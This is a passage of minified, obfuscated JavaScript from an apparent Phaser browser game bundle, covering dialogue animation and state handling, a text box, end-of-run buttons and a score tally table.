this['scene']['tweens']['add']({ 'targets': _0x15f5ef['sprite'], 'x': _0xd00bd1, 'alpha': 0x1, 'ease': 'Cubic.easeOut', 'duration': _0x3ac865, 'onComplete': () => { this['scene']['tweens']['remove'](_0x1d46d0), _0x14ac01(); } }); }); } ['characterMoveOutEffect'](_0x48d7d1, _0x263239) { return new Promise(_0x5bd47f => { const _0x5aaffe = _0x48d7d1 === _0x2ed6c5['ECharacterSpeaking']['LEFT'] ? this['leftCharacter'] : this['rightCharacter'], _0xbda29 = 0.1 * this['scene']['scale']['width'], _0x27d980 = _0x5aaffe['sprite']['x'], _0x320b01 = _0x48d7d1 === _0x2ed6c5['ECharacterSpeaking']['LEFT'] ? -0x1 : 0x1, _0x1ab818 = this['scene']['tweens']['add']({ 'targets': _0x5aaffe['sprite'], 'x': _0x27d980 + _0xbda29 * _0x320b01, 'alpha': 0x0, 'ease': 'Cubic.easeIn', 'duration': _0x263239, 'onComplete': () => { this['scene']['tweens']['remove'](_0x1ab818), _0x5aaffe['sprite']['visible'] = !0x1, _0x5aaffe['sprite']['x'] = _0x27d980, _0x5bd47f(); } }); }); } ['showCharacter'](_0x29a49b, _0x14ae36) { return new Promise(_0xea2d6e => { const _0xe811c2 = _0x29a49b === _0x2ed6c5['ECharacterSpeaking']['LEFT'] ? this['leftCharacter'] : this['rightCharacter']; _0xe811c2['sprite']['alpha'] = 0x0, _0xe811c2['sprite']['visible'] = !0x0; const _0x1e7220 = this['scene']['tweens']['add']({ 'targets': _0xe811c2['sprite'], 'alpha': 0x1, 'duration': _0x14ae36, 'onComplete': () => { this['scene']['tweens']['remove'](_0x1e7220), _0xea2d6e(); } }); }); } ['hideCharacter'](_0xc463e3, _0x45b1fb) { return new Promise(_0x8424fa => { const _0x1cdc6f = _0xc463e3 === _0x2ed6c5['ECharacterSpeaking']['LEFT'] ? this['leftCharacter'] : this['rightCharacter'], _0x2ce1a5 = this['scene']['tweens']['add']({ 'targets': _0x1cdc6f['sprite'], 'alpha': 0x0, 'duration': _0x45b1fb, 'onComplete': () => { this['scene']['tweens']['remove'](_0x2ce1a5), _0x1cdc6f['sprite']['visible'] = !0x1, _0x8424fa(); } }); }); } ['createElement']() { this['element'] = this['scene']['rexUI']['add']['overlapSizer']({ 'x': 0x0, 'y': 0x0, 'width': this['scene']['scale']['width'], 'height': this['scene']['scale']['height'] })['setOrigin'](0x0); } ['setupCharacter'](_0x5a26f4, _0x143af6) { const _0x3e6135 = this['gameContext']['getAnimationConfig'](_0x5a26f4), _0xfec3d2 = (0x0, _0x38e0c4['createSpriteFromAnimationConfig'])({ 'animation': _0x3e6135, 'scene': this['scene'], 'gameContext': this['gameContext'] }); _0xfec3d2['sprite']['setAlpha'](0x0), _0xfec3d2['sprite']['setVisible'](!0x1); const _0x224ecd = _0x3e6135['offsetPosition']?.['x'] ?? 0x0, _0x13fc4e = 0.2 * this['scene']['scale']['height'] + (_0x3e6135['offsetPosition']?.['y'] ?? 0x0); _0x143af6 === _0x2ed6c5['ECharacterSpeaking']['LEFT'] ? (this['leftCharacter'] = _0xfec3d2, this['element']['add'](this['leftCharacter']['sprite'], { 'align': 'left-top', 'padding': { 'left': -_0x224ecd, 'top': _0x13fc4e }, 'expand': !0x1 })) : (_0xfec3d2['sprite']['setFlipX'](!0x0), this['rightCharacter'] = _0xfec3d2, this['element']['add'](this['rightCharacter']['sprite'], { 'align': 'right-top', 'padding': { 'right': -_0x224ecd, 'top': _0x13fc4e }, 'expand': !0x1 })), this['element']['layout'](); } } _0x4072af['CharactersElement'] = _0x16f31f; }, 0x1d85: (_0x43bcc8, _0x1d14f1, _0x290235) => { 'use strict'; Object['defineProperty'](_0x1d14f1, '__esModule', { 'value': !0x0 }), _0x1d14f1['DialogueComponent'] = void 0x0; const _0x55abb4 = _0x290235(0xcc9), _0x4a989e = _0x290235(0xf18), _0x1531fd = _0x290235(0x1709), _0x567e4b = _0x290235(0x1a21), _0x24aee2 = _0x290235(0xee6), _0x5cad23 = _0x290235(0x233c), _0x587284 = _0x290235(0x13a9), _0x4d5fcb = 0xfa; class _0xbf419e extends _0x1531fd['SceneComponent']{ ['charactersElement'];['textElement'];['currentDialogueCallback'];['interactionLabel']; constructor(_0x16783a) { super({ ..._0x16783a, 'isRenderComponent': !0x0 }); } ['init']() { this['gameMessageBus']['subscribe'](this, 'beginDialogue', _0x3a9730 => this['onBeginDialogue'](_0x3a9730)), this['store']['subscribe']('dialogueState', ({ oldValue: _0x45d8c7, newValue: _0x2e75e3 }) => this['onStateChange'](_0x45d8c7, _0x2e75e3)); } ['destroy']() { this['charactersElement']['destroy'](), this['textElement']['destroy'](), this['interactionLabel']['destroy'](); } async['onBeginDialogue'](_0x115f41) { this['reset'](), this['updateInteractionText'](), this['store']['update']('dialogueConfigPath', _0x115f41['dialogueConfigPath']), this['store']['update']('dialogueMessageIndex', 0x0), this['currentDialogueCallback'] = _0x115f41['dialogueCompleteCallback'], this['gameMessageBus']['publish']('dialogueHasStarted', { 'dialogueConfigPath': _0x115f41['dialogueConfigPath'] }), this['gameMessageBus']['publish']('requestBlur', { 'appearanceDurationMS': 0x320 }), this['charactersElement']['beginDialogue'](_0x115f41), await this['gameContext']['timeProvider']['delayPromise'](0x190), this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['ANIMATING']); } async['onCreate']() { this['charactersElement'] = new _0x567e4b['CharactersElement']({ ...this['config'] }), this['textElement'] = new _0x5cad23['TextElement']({ ...this['config'] }), this['interactionLabel'] = this['scene']['rexUI']['add']['label']({ 'width': 0x64, 'height': 0x28, 'background': this['scene']['rexUI']['add']['roundRectangle'](0x0, 0x0, 0x0, 0x0, 0x5, 0x0, 0.4), 'text': this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Medium', '---', 0x1e), 'space': { 'left': 0xa, 'right': 0xa } })['layout'](); const _0x3da30b = 0.05 * this['scene']['scale']['height'], _0x30ab91 = this['scene']['scale']['height'] - _0x3da30b, _0x16a852 = this['textElement']['textElement']['displayWidth']; this['interactionLabel']['setPosition'](this['scene']['scale']['width'] / 0x2 + _0x16a852 / 0x2 - this['interactionLabel']['width'] - -0x1e, _0x30ab91 - 0xa), this['interactionLabel']['setDepth'](_0x4a989e['LAYER_DEPTHS']['UI_HUD']), this['interactionLabel']['setVisible'](!0x1); } ['requestProgressDialogue']() { switch (this['store']['get']('dialogueState')) { case _0x24aee2['EDialogueState']['AWAITING_INPUT']: { const _0x3ae810 = this['gameContext']['getDialogueConfig'](this['store']['get']('dialogueConfigPath'))['messages']['length']; if (this['store']['get']('dialogueMessageIndex') >= _0x3ae810 - 0x1) return void this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['COMPLETE']); this['textElement']['isLastPage']() ? this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['INCREMENTING_INDEX']) : this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['CONTINUING_PRINTING_TEXT']); break; } case _0x24aee2['EDialogueState']['CONTINUING_PRINTING_TEXT']: case _0x24aee2['EDialogueState']['PRINTING_TEXT']: this['textElement']['progressText'](), this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['AWAITING_INPUT']); } } async['requestCancelDialogue']() { if (this['store']['get']('dialogueState') !== _0x24aee2['EDialogueState']['AWAITING_INPUT']) return; const _0x1c4413 = this['gameContext']['getDialogueConfig'](this['store']['get']('dialogueConfigPath')), _0x5c8db2 = this['store']['get']('dialogueMessageIndex'), _0x52ad97 = _0x1c4413['messages'][_0x5c8db2]['characterSpeaking']; this['gameMessageBus']['publish']('requestBlurCancel', { 'disappearanceDurationMS': _0x4d5fcb }), this['textElement']['hideTextBox'](_0x52ad97, _0x4d5fcb), await this['charactersElement']['characterMoveOutEffect'](_0x52ad97, _0x4d5fcb), this['currentDialogueCallback']?.(!0x1), this['gameMessageBus']['publish']('dialogueHasEnded', { 'dialogueConfigPath': this['store']['get']('dialogueConfigPath') }), this['reset'](); } async['onStateChange'](_0xc663b6, _0x42a7a8) { switch (_0x42a7a8 === _0x24aee2['EDialogueState']['AWAITING_INPUT'] ? this['interactionLabel']['setVisible'](!0x0) : this['interactionLabel']['setVisible'](!0x1), _0x42a7a8) { case _0x24aee2['EDialogueState']['ANIMATING']: { const _0x15bc5e = this['gameContext']['getDialogueConfig'](this['store']['get']('dialogueConfigPath')), _0x47db47 = this['store']['get']('dialogueMessageIndex'); _0x15bc5e['messages'][_0x47db47]['messageSound'] && this['gameMessageBus']['publish']('dialogueMessageHasStarted', { 'dialogueConfigPath': this['store']['get']('dialogueConfigPath'), 'messageIndex': _0x47db47 }), await this['animateIn'](), this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['PRINTING_TEXT']); break; } case _0x24aee2['EDialogueState']['PRINTING_TEXT']: { const _0x3d0acc = this['gameContext']['getDialogueConfig'](this['store']['get']('dialogueConfigPath')), _0x59e274 = this['store']['get']('dialogueMessageIndex'), _0x17ef1f = _0x3d0acc['messages'][_0x59e274]; await this['textElement']['showText'](_0x17ef1f['text'], _0x17ef1f['textSpeed']); const _0x1215fd = this['store']['get']('dialogueMessageIndex') === _0x59e274, _0x7a1682 = this['store']['get']('dialogueState') === _0x24aee2['EDialogueState']['PRINTING_TEXT']; _0x1215fd && _0x7a1682 && this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['AWAITING_INPUT']); break; } case _0x24aee2['EDialogueState']['CONTINUING_PRINTING_TEXT']: { await this['textElement']['progressText'](); const _0x4f0f7f = this['store']['get']('dialogueMessageIndex'), _0x51e026 = this['store']['get']('dialogueMessageIndex') === _0x4f0f7f, _0x436483 = this['store']['get']('dialogueState') === _0x24aee2['EDialogueState']['CONTINUING_PRINTING_TEXT']; _0x51e026 && _0x436483 && this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['AWAITING_INPUT']); break; } case _0x24aee2['EDialogueState']['INCREMENTING_INDEX']: { const _0x35fc37 = this['store']['get']('dialogueMessageIndex'); this['store']['update']('dialogueMessageIndex', _0x35fc37 + 0x1); const _0x265c74 = this['gameContext']['getDialogueConfig'](this['store']['get']('dialogueConfigPath'))['messages']['length']; if (this['store']['get']('dialogueMessageIndex') > _0x265c74 - 0x1) return void this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['AWAITING_INPUT']); this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['ANIMATING']); break; } case _0x24aee2['EDialogueState']['COMPLETE']: { const _0x3149eb = this['gameContext']['getDialogueConfig'](this['store']['get']('dialogueConfigPath')), _0x2c2096 = this['store']['get']('dialogueMessageIndex'), _0xb538e4 = _0x3149eb['messages'][_0x2c2096]['characterSpeaking'], _0x410b88 = _0x3149eb['messages'][_0x2c2096]['effects']?.['includes'](_0x55abb4['EDialogueMessageEffect']['CHARACTER_MOVE_OUT']), _0x1ab768 = _0x410b88 ? 0x320 : _0x4d5fcb; this['gameMessageBus']['publish']('requestBlurCancel', { 'disappearanceDurationMS': _0x1ab768 }), this['textElement']['hideTextBox'](_0xb538e4, _0x1ab768), await this['charactersElement']['characterMoveOutEffect'](_0xb538e4, _0x1ab768), this['currentDialogueCallback']?.(!0x0), this['gameMessageBus']['publish']('dialogueHasEnded', { 'dialogueConfigPath': this['store']['get']('dialogueConfigPath') }), this['reset'](); break; } } } async['animateIn']() { this['textElement']['clearText'](); const _0x4e0b54 = this['gameContext']['getDialogueConfig'](this['store']['get']('dialogueConfigPath')), _0x28a3ef = this['store']['get']('dialogueMessageIndex'), _0x5b7d28 = _0x4e0b54['messages'][_0x28a3ef], _0x35ecb9 = _0x4e0b54['messages'][_0x28a3ef - 0x1]; if (_0x35ecb9) { const _0x6084a0 = _0x35ecb9['characterSpeaking']; if (_0x6084a0 === _0x4e0b54['messages'][_0x28a3ef]['characterSpeaking']) return; const _0x4271bd = _0x35ecb9['effects']?.['includes'](_0x55abb4['EDialogueMessageEffect']['CHARACTER_MOVE_OUT']); await this['textElement']['hideTextBox'](_0x6084a0, _0x4d5fcb), _0x4271bd ? await this['charactersElement']['characterMoveOutEffect'](_0x6084a0, 0x320) : await this['charactersElement']['hideCharacter'](_0x6084a0, _0x4d5fcb), await this['gameContext']['timeProvider']['delayPromise'](0x190); } const _0xfd2060 = _0x5b7d28['effects']?.['includes'](_0x55abb4['EDialogueMessageEffect']['CHARACTER_MOVE_IN']); _0xfd2060 ? await this['charactersElement']['characterMoveInEffect'](_0x5b7d28['characterSpeaking'], 0x320) : this['charactersElement']['showCharacter'](_0x5b7d28['characterSpeaking'], _0x4d5fcb); const _0x474d78 = _0x5b7d28['characterName'] ?? ('LEFT' === _0x5b7d28['characterSpeaking'] ? _0x4e0b54['leftCharacterName'] : _0x4e0b54['rightCharacterName']); await this['textElement']['showTextBox'](_0x5b7d28['characterSpeaking'], _0x474d78, _0x4d5fcb); } ['reset']() { this['store']['update']('dialogueConfigPath', ''), this['store']['update']('dialogueMessageIndex', NaN), this['store']['update']('dialogueState', _0x24aee2['EDialogueState']['WAITING_TO_START']), this['currentDialogueCallback'] = void 0x0, this['interactionLabel']['setVisible'](!0x1); } ['updateInteractionText']() { const _0x2cb3af = (0x0, _0x587284['assembleText'])('{interaction}\x20Continue', this['gameContext']['getFromGameStore']('settings')); this['interactionLabel']['getElement']('text')['setText'](_0x2cb3af); } } _0x1d14f1['DialogueComponent'] = _0xbf419e; }, 0xda7: (_0x3c6aab, _0x4f5ee0, _0x16b24e) => { 'use strict'; Object['defineProperty'](_0x4f5ee0, '__esModule', { 'value': !0x0 }), _0x4f5ee0['DialogueInputController'] = void 0x0; const _0x5ee36e = _0x16b24e(0x70c), _0x4e90ba = _0x16b24e(0xac1); class _0x3286d5 extends _0x4e90ba['SceneComponentController']{ ['init']() { this['gameMessageBus']['subscribe'](this, 'actionStateChange', _0x33bd18 => this['onInputEvent'](_0x33bd18)); } ['onInputEvent'](_0xf12f8e) { null !== _0xf12f8e['state'] && (_0xf12f8e['action'] === _0x5ee36e['EPlayerAction']['exit'] ? this['component']['requestCancelDialogue']() : this['component']['requestProgressDialogue']()); } } _0x4f5ee0['DialogueInputController'] = _0x3286d5; }, 0xee6: (_0x47da93, _0x4be164) => { 'use strict'; Object['defineProperty'](_0x4be164, '__esModule', { 'value': !0x0 }), _0x4be164['EDialogueState'] = void 0x0, function (_0x57f8de) { _0x57f8de['WAITING_TO_START'] = 'WAITING_TO_START', _0x57f8de['ANIMATING'] = 'ANIMATING', _0x57f8de['INCREMENTING_INDEX'] = 'INCREMENTING_INDEX', _0x57f8de['PRINTING_TEXT'] = 'PRINTING_TEXT', _0x57f8de['CONTINUING_PRINTING_TEXT'] = 'CONTINUING_PRINTING_TEXT', _0x57f8de['AWAITING_INPUT'] = 'AWAITING_INPUT', _0x57f8de['COMPLETE'] = 'COMPLETE'; }(_0x4be164['EDialogueState'] || (_0x4be164['EDialogueState'] = {})); }, 0x233c: (_0x3937d2, _0x434ed7, _0xa84623) => { 'use strict'; Object['defineProperty'](_0x434ed7, '__esModule', { 'value': !0x0 }), _0x434ed7['TextElement'] = void 0x0; const _0x5aa80d = _0xa84623(0xcc9), _0x3c9a55 = _0xa84623(0xf18), _0x267b09 = _0xa84623(0x1724), _0x467c6a = _0xa84623(0x138a); class _0x5dc542 extends _0x267b09['UiElement']{ ['bgImage'];['nameBgImage']; constructor(_0x34464a) { super(_0x34464a), this['createElement'](); } ['showTextBox'](_0x97f6aa, _0x3a2ac4, _0x166466) { return new Promise(_0x3d7a11 => { const _0x16832b = this['scene']['scale']['width'] / 0x2, _0x5730b0 = 0x0 * this['scene']['scale']['width'] * (_0x97f6aa === _0x5aa80d['ECharacterSpeaking']['LEFT'] ? 0x1 : -0x1), _0x2b1840 = 0.1 * this['scene']['scale']['width'] * (_0x97f6aa === _0x5aa80d['ECharacterSpeaking']['LEFT'] ? -0x1 : 0x1); this['element']['visible'] = !0x0, this['element']['alpha'] = 0x0, this['element']['x'] = _0x16832b + _0x5730b0 + _0x2b1840; const _0x2bd71 = this['scene']['tweens']['add']({ 'targets': this['element'], 'x': _0x16832b + _0x5730b0, 'alpha': 0x1, 'ease': 'Cubic.easeOut', 'duration': _0x166466, 'onComplete': () => { this['element']['alpha'] = 0x1, this['scene']['tweens']['remove'](_0x2bd71), _0x3d7a11(); } }); this['element']['remove'](this['nameElement']), this['nameElement']['setText'](_0x3a2ac4), _0x97f6aa === _0x5aa80d['ECharacterSpeaking']['LEFT'] ? this['element']['add'](this['nameElement'], { 'padding': { 'top': -0x32 }, 'align': 'left-top', 'expand': !0x1 }) : this['element']['add'](this['nameElement'], { 'padding': { 'top': -0x32 }, 'align': 'right-top', 'expand': !0x1 }), this['element']['layout'](); }); } ['hideTextBox'](_0x2bbc20, _0x375f29) { return new Promise(_0x592279 => { const _0x4c5503 = this['element']['x'], _0x333193 = 0.1 * this['scene']['scale']['width'] * (_0x2bbc20 === _0x5aa80d['ECharacterSpeaking']['LEFT'] ? -0x1 : 0x1), _0x142146 = this['scene']['tweens']['add']({ 'targets': this['element'], 'x': _0x4c5503 + _0x333193, 'alpha': 0x0, 'ease': 'Cubic.easeIn', 'duration': _0x375f29, 'onComplete': () => { this['element']['alpha'] = 0x0, this['scene']['tweens']['remove'](_0x142146), this['element']['visible'] = !0x1, _0x592279(); } }); }); } ['clearText']() { this['textElement']['setText'](''); } ['isLastPage']() { return this['textElement']['isLastPage']; } ['showText'](_0x4059fc, _0x25c61f = 0xa) { return new Promise(_0x11371d => { this['textElement']['setText'](_0x4059fc), this['textElement']['layout'](), this['textElement']['start'](_0x4059fc, _0x25c61f), this['textElement']['once']('pageend', () => { _0x11371d({ 'finished': this['textElement']['isLastPage'] }); }), this['textElement']['once']('complete', () => { _0x11371d({ 'finished': !0x0 }); }); }); } ['progressText']() { return new Promise(_0x485138 => { this['textElement']['isTyping'] ? this['textElement']['stop'](!0x0) : this['textElement']['typeNextPage'](), this['textElement']['once']('pageend', () => { _0x485138({ 'finished': this['textElement']['isLastPage'] }); }), this['textElement']['once']('complete', () => { _0x485138({ 'finished': !0x0 }); }); }); } ['destroy']() { this['bgImage']?.['destroy'](), this['element']?.['destroy'](), this['nameBgImage']?.['destroy'](), this['nameElement']?.['destroy'](); } ['createElement']() { const _0xf00411 = 0.075 * this['scene']['scale']['height']; this['element'] = this['scene']['rexUI']['add']['overlapSizer']({ 'x': this['scene']['scale']['width'] / 0x2, 'y': this['scene']['scale']['height'] - _0xf00411 })['setOrigin'](0.5, 0x1)['setAlpha'](0x0)['setVisible'](!0x1)['add'](this['createTextElement']())['add'](this['createNameTextElement'](), { 'padding': { 'top': -0x32 }, 'align': 'left-top', 'expand': !0x1 }); } ['createTextElement']() { this['bgImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/ui_dialogue', (0x0, _0x467c6a['getFrame'])(this['gameContext'], 'ui_dialogue/dialogue-box-whole')), this['bgImage']['setDepth'](_0x3c9a55['LAYER_DEPTHS']['SPRITE']); const _0x144042 = 0.075 * this['scene']['scale']['height'], _0x5c060d = this['bgImage']['width'], _0x137472 = this['bgImage']['height'], _0x198c44 = _0x5c060d - 0x96; return this['textElement'] = this['scene']['rexUI']['add']['textBox']({ 'x': this['scene']['scale']['width'] / 0x2, 'y': this['scene']['scale']['height'] - _0x144042, 'width': _0x5c060d, 'height': _0x137472, 'align': { 'text': 'center' }, 'space': { 'left': 0x32, 'right': 0x32, 'top': 0x32, 'bottom': 0x32, 'icon': 0xa, 'text': 0xa, 'separator': 0x6 }, 'page': { 'maxLines': 0x3 }, 'text': this['scene']['add']['bitmapText'](0x0, 0x0, 'Satoshi-Medium')['setFontSize'](0x2a)['setMaxWidth'](_0x198c44) })['addBackground'](this['bgImage'])['setInteractive']()['on']('pointerdown', () => { this['textElement']['isTyping'] ? this['textElement']['stop'](!0x0) : this['textElement']['typeNextPage'](); })['on']('pageend', () => { this['textElement']['isLastPage']; })['setOrigin'](0.5, 0x1)['setAlpha'](0x0)['setDepth'](_0x3c9a55['LAYER_DEPTHS']['SPRITE'] + 0.1)['layout'](), this['textElement']; } ['createNameTextElement']() { this['nameBgImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/ui_dialogue', (0x0, _0x467c6a['getFrame'])(this['gameContext'], 'ui_dialogue/name-label')), this['nameBgImage']['setDepth'](_0x3c9a55['LAYER_DEPTHS']['SPRITE']); const _0x16facc = this['nameBgImage']['width'], _0x14d0a6 = this['nameBgImage']['height']; return this['nameElement'] = this['scene']['rexUI']['add']['textBox']({ 'width': _0x16facc, 'height': _0x14d0a6, 'align': { 'text': 'center' }, 'layoutMode': 0x0, 'text': this['scene']['add']['bitmapText'](0x0, 0x0, 'Satoshi-Medium')['setFontSize'](0x2a) })['addBackground'](this['nameBgImage'])['setOrigin'](0.5, 0x1)['setAlpha'](0x0)['setDepth'](_0x3c9a55['LAYER_DEPTHS']['SPRITE'] + 0.1)['layout'](), this['nameElement']; } } _0x434ed7['TextElement'] = _0x5dc542; }, 0x1c96: (_0x19efe5, _0x15da88, _0x35bd9d) => { 'use strict'; Object['defineProperty'](_0x15da88, '__esModule', { 'value': !0x0 }), _0x15da88['EndRunButtonsElement'] = void 0x0; const _0x52aaf2 = _0x35bd9d(0xf18), _0x1afb3b = _0x35bd9d(0x1724), _0x63a51d = _0x35bd9d(0x70), _0x9af450 = _0x35bd9d(0x138a), _0x4b9041 = _0x35bd9d(0x13a9); class _0x578bee extends _0x1afb3b['UiElement']{ ['saveReplayButton'];['returnToMenuButton'];['playAgainButton'];['skipButton']; constructor(_0x15e23b) { super(_0x15e23b), this['createElement'](); } ['destroy']() { this['element']['destroy'](), this['returnToMenuButton']['destroy'](), this['playAgainButton']['destroy'](), this['saveReplayButton']['destroy'](), this['skipButton']['destroy'](), this['element']['getAllChildren']()['forEach'](_0x5b8417 => _0x5b8417['destroy']()), this['element']['destroy'](); } ['onPlayerDead']() { this['skipButton']['setVisible'](!0x0), this['element']['layout'](); } ['onObjectiveComplete']() { this['skipButton']['setVisible'](!0x0), this['element']['layout'](); } ['onCountUpComplete']() { this['skipButton']['setVisible'](!0x1), this['playAgainButton']['setVisible'](!0x0), this['saveReplayButton']['setVisible'](!0x0), this['returnToMenuButton']['setVisible'](!0x0); } ['createElement']() { this['saveReplayButton'] = this['createSaveReplayButton'](this['config']['saveReplayAction']), this['returnToMenuButton'] = this['createReturnToMenuButton'](this['config']['returnToMenuAction']), this['playAgainButton'] = this['createPlayAgainButton'](this['config']['playAgainAction']), this['skipButton'] = this['createSkipButton'](this['config']['skipAction']), this['element'] = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'anchor': { 'left': '0%+50', 'bottom': '100%-50' }, 'space': { 'item': 0xa }, 'width': _0x52aaf2['PHASER_CONFIG']['scale']['width'] - 0x64 })['setDepth'](_0x52aaf2['LAYER_DEPTHS']['UI_MAIN'])['add'](this['returnToMenuButton'], { 'proportion': 0x0, 'align': 'left', 'expand': !0x1 })['add'](this['saveReplayButton'], { 'proportion': 0x0, 'align': 'left', 'expand': !0x1 })['addSpace']()['add'](this['playAgainButton'], { 'proportion': 0x0, 'align': 'right', 'expand': !0x1 })['add'](this['scene']['rexUI']['add']['overlapSizer']()['add'](this['playAgainButton'])['add'](this['skipButton']), { 'proportion': 0x0, 'align': 'right' })['layout'](); } ['createReturnToMenuButton'](_0x570733) { const _0x4e91b6 = this['gameContext']['getFromGameStore']('settings'), _0x137d29 = (0x0, _0x4b9041['assembleText'])('{secondaryAttack1}', _0x4e91b6); return (0x0, _0x63a51d['createImageButton'])(this['config']['scene'], this['gameContext'], { 'name': 'returnToMainMenu', 'text': 'Back\x20to\x20Sanctuary', 'iconText': _0x137d29, 'action': () => _0x570733(), 'font': 'Satoshi-Medium', 'fontSize': (0x0, _0x9af450['figmaSize'])(0x18), 'idleStatePath': 'ui/button_secondary_idle', 'hoverStatePath': 'ui/button_secondary_hover', 'clickedStatePath': 'ui/button_secondary_clicked' })['setVisible'](!0x1); } ['createSaveReplayButton'](_0x33d24a) { return (0x0, _0x63a51d['createImageButton'])(this['config']['scene'], this['gameContext'], { 'name': 'saveReplay', 'text': 'Store\x20Replay', 'action': () => _0x33d24a(), 'font': 'Satoshi-Medium', 'fontSize': (0x0, _0x9af450['figmaSize'])(0x18), 'idleStatePath': 'ui/button_secondary_idle', 'hoverStatePath': 'ui/button_secondary_hover', 'clickedStatePath': 'ui/button_secondary_clicked' })['setVisible'](!0x1); } ['createPlayAgainButton'](_0x89a3bc) { const _0x4ac2b0 = this['gameContext']['getFromGameStore']('settings'), _0x41196c = 'KEYBOARD' === _0x4ac2b0['inputType'], _0x4459d9 = (0x0, _0x4b9041['assembleText'])('{jump}', _0x4ac2b0); return (0x0, _0x63a51d['createImageButton'])(this['config']['scene'], this['gameContext'], { 'name': 'playAgain', 'text': 'Play\x20again', 'iconText': _0x4459d9, 'iconTint': _0x41196c ? 0x333333 : 0xffffff, 'action': () => _0x89a3bc(), 'font': 'Satoshi-Medium', 'fontSize': (0x0, _0x9af450['figmaSize'])(0x18), 'fontTint': 0x333333, 'idleStatePath': 'ui/button_primary_idle', 'hoverStatePath': 'ui/button_primary_hover', 'clickedStatePath': 'ui/button_primary_clicked' })['setVisible'](!0x1); } ['createSkipButton'](_0xc6f9b7) { return (0x0, _0x63a51d['createImageButton'])(this['config']['scene'], this['gameContext'], { 'name': 'skip', 'text': 'Skip', 'action': () => _0xc6f9b7(), 'font': 'Satoshi-Medium', 'fontSize': (0x0, _0x9af450['figmaSize'])(0x18), 'fontTint': 0x333333, 'idleStatePath': 'ui/button_primary_idle', 'hoverStatePath': 'ui/button_primary_hover', 'clickedStatePath': 'ui/button_primary_clicked' })['setVisible'](!0x1); } } _0x15da88['EndRunButtonsElement'] = _0x578bee; }, 0x486: (_0xcb0a67, _0xa6ef14, _0x41a731) => { 'use strict'; Object['defineProperty'](_0xa6ef14, '__esModule', { 'value': !0x0 }), _0xa6ef14['EndRunTableElement'] = void 0x0; const _0x28600e = _0x41a731(0xf18), _0x169dbb = _0x41a731(0x1724), _0xa5e1a0 = _0x41a731(0x138a), _0x13fee0 = 'resultCount', _0x21d98a = 'resultBeep'; class _0xa62f0f extends _0x169dbb['UiElement']{ ['rowContainerSizer'];['rowSizers'] = [];['totalRowSizer'];['hiScoreSizer'];['hiScoreImage'];['usedIconOffset'] = !0x1;['skipRequested'] = !0x1;['scoreText'];['currentlyDisplayedScore'] = 0x0; constructor(_0x343cde) { super(_0x343cde), this['element'] = this['createElement'](); } ['destroy']() { this['rowSizers']['forEach'](_0x359c16 => _0x359c16['destroy']()), this['rowContainerSizer']['getAllChildren']()['forEach'](_0x2edd0c => _0x2edd0c['destroy']()), this['rowContainerSizer']['destroy'](), this['totalRowSizer']['destroy'](), this['hiScoreImage']['destroy'](), this['hiScoreSizer']['destroy'](), this['element']['destroy'](); } ['hideAllRows']() { this['rowSizers']['forEach'](_0x51001a => { _0x51001a['setVisible'](!0x1), _0x51001a['space']['top'] = 0x0; }); } ['showRowsInstantly'](_0x4919fe, _0x2ebce0) { this['hideAllRows'](), this['rowSizers']['reverse'](), this['rowSizers']['forEach']((_0x183172, _0x35097a) => { _0x183172['setVisible'](!0x0), _0x183172['setAlpha'](0x1), _0x183172['space']['top'] = ((0x0, _0xa5e1a0['figmaSize'])(0x18) + 0xa) * _0x35097a; }), this['scoreText']['setText'](_0x4919fe + '\x20'), this['rowContainerSizer']['layout'](), this['totalRowSizer']['layout'](), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x21d98a } }), this['gameMessageBus']['publish']('requestStopSoundsByEventName', { 'soundName': _0x13fee0 }), _0x2ebce0 && this['hiScoreSizer']['setVisible'](!0x0), this['flashTotal'](this['totalRowSizer']); } ['requestSkip']() { this['skipRequested'] = !0x0, this['scene']['tweens']['killAll'](); } async['showRows'](_0xe86289, _0x2465e2) { this['hideAllRows'](); const _0x554a2b = this['rowSizers']['filter'](_0x5ea4eb => !_0x5ea4eb['visible'])['length']; await this['gameContext']['timeProvider']['delayPromise'](0x15e); for (let _0xee654e = 0x0; _0xee654e < _0x554a2b; _0xee654e++) { if (await this['gameContext']['timeProvider']['delayPromise'](0x2bc), this['skipRequested']) return; const _0x4d56b6 = this['maybeShowNextRow'](0x15e); if (!_0x4d56b6) return; this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'resultList' } }); const _0x43f848 = Object['values'](this['config']['runSummaryValues'])['find'](_0x255277 => _0x255277['text'] === _0x4d56b6['getElement']('categoryText')['text'])?.['scoreValue'] ?? 0x0, _0x45f968 = this['scene']['tweens']['addCounter']({ 'from': this['currentlyDisplayedScore'], 'to': this['currentlyDisplayedScore'] + _0x43f848, 'duration': 0x15e, 'onUpdate': _0x141997 => { this['scoreText']['setText'](Math['floor'](_0x141997['getValue']()) + '\x20'), this['element']['layout'](), _0xe86289(); }, 'onComplete': () => { this['currentlyDisplayedScore'] += _0x43f848, this['scene']['tweens']['remove'](_0x45f968); } }); if (_0x43f848 > 0x0) { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x13fee0 } }); const _0x4cdaed = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'duration': 0x15e, 'onUpdate': _0x4ec571 => { const _0xf0e4cd = _0x4ec571['getValue'](), _0x3cf271 = (0x0, _0xa5e1a0['mixTint'])(_0xa5e1a0['UI_WHITE'], _0xa5e1a0['UI_YELLOW'], _0xf0e4cd); this['scoreText']['setTint'](_0x3cf271); }, 'onComplete': () => { this['scoreText']['setTint'](_0xa5e1a0['UI_YELLOW']), this['scene']['tweens']['remove'](_0x4cdaed), this['gameMessageBus']['publish']('requestStopSoundsByEventName', { 'soundName': _0x13fee0, 'allowFadeOut': !0x0 }); } }); } } this['skipRequested'] || 